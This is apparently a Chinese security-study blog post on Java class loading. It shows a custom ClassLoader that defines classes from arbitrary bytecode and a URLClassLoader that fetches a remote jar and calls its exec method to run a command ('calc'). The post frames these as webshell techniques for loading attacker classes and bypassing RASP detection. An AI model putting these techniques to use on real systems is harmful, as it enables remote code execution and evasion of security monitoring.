javaweb-codereview 学习记录-3

Class类加载流程

实际上就是ClassLoader将会调用loadclass来尝试加载类,首先将会在jvm中尝试加载我们想要加载的类,如果jvm中没有的话,将调用自身的findclass,此时要是findclass重写了,并且传入了我们想要加载的类的字节码,那么应该调用defineclass在jvm中加载该类,最后返回java.lang.class类对象。

那么既然类加载器java.lang.ClassLoader是所有的类加载器的父类,我们可以来定义其子类从而实现加载任意字节码,当然加载恶意class也是可以的

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import  java.lang.reflect.Method;
public class class_loader  extends  ClassLoader {

    private static String testClassName = "TestHelloWorld";

    private static byte[] testClassBytes = new byte[]{};

    {
        try{
        File fileName = new File("H:\\TestHelloWorld.class");
        FileInputStream in = new FileInputStream(fileName);
        ByteArrayOutputStream byt = new ByteArrayOutputStream();

        int b = -1;
        byte[] zi = new byte[1024];
        while ((b = in.read(zi)) != -1) {
            byt.write(zi, 0, b);
        }
            byte[] class_byte = byt.toByteArray();
            testClassBytes = class_byte;
        }
        catch (Exception e){

        }
    }

    @Override
    public Class<?> findClass(String name)  throws ClassNotFoundException{
        if(name.equals(testClassName)){

            return defineClass(testClassName,testClassBytes,0,testClassBytes.length);


        }
        return super.findClass(name);
    }

    public static void main(String[] args){

        class_loader loader = new class_loader();

        try {
            Class testClass = loader.loadClass(testClassName);

            Object testInstance = testClass.newInstance();

            Method method = testInstance.getClass().getMethod("hello");

            String str = (String)  method.invoke(testInstance);

            System.out.println(str);


        }catch (Exception e){

        }




    }
}

以上代码中字节码肯定是一个恶意类,那么只要编译得到class文件即可,我们直接将其读到byte数组中,然后再通过定义的findclass中return defineclass来通过我们的字节码生成类。

TestHelloWorld.java如下所示

public class TestHelloWorld {

    public String hello(){
        return "tr1ple 2333";
    }

}

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测

URL类加载器

URLClassLoader也是ClassLoader的子类,那么URLClassloader可以用来加载远程资源,我们可以使用他来加载远程jar文件,或实现远程的类方法调用。

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args){
        try {
           URL url = new URL("http://127.0.0.1:9000/cmd.jar");
           URLClassLoader ucl = new URLClassLoader(new URL[]{url});
           String cmd = "calc";
           Class cmdClass = ucl.loadClass("cmd");
           Process process = (Process) cmdClass.getMethod("exec",String.class).invoke(null,cmd);

        }
        catch (Exception e){
            
        }


    }

}

猜你喜欢

转载自www.cnblogs.com/wfzWebSecuity/p/12121293.html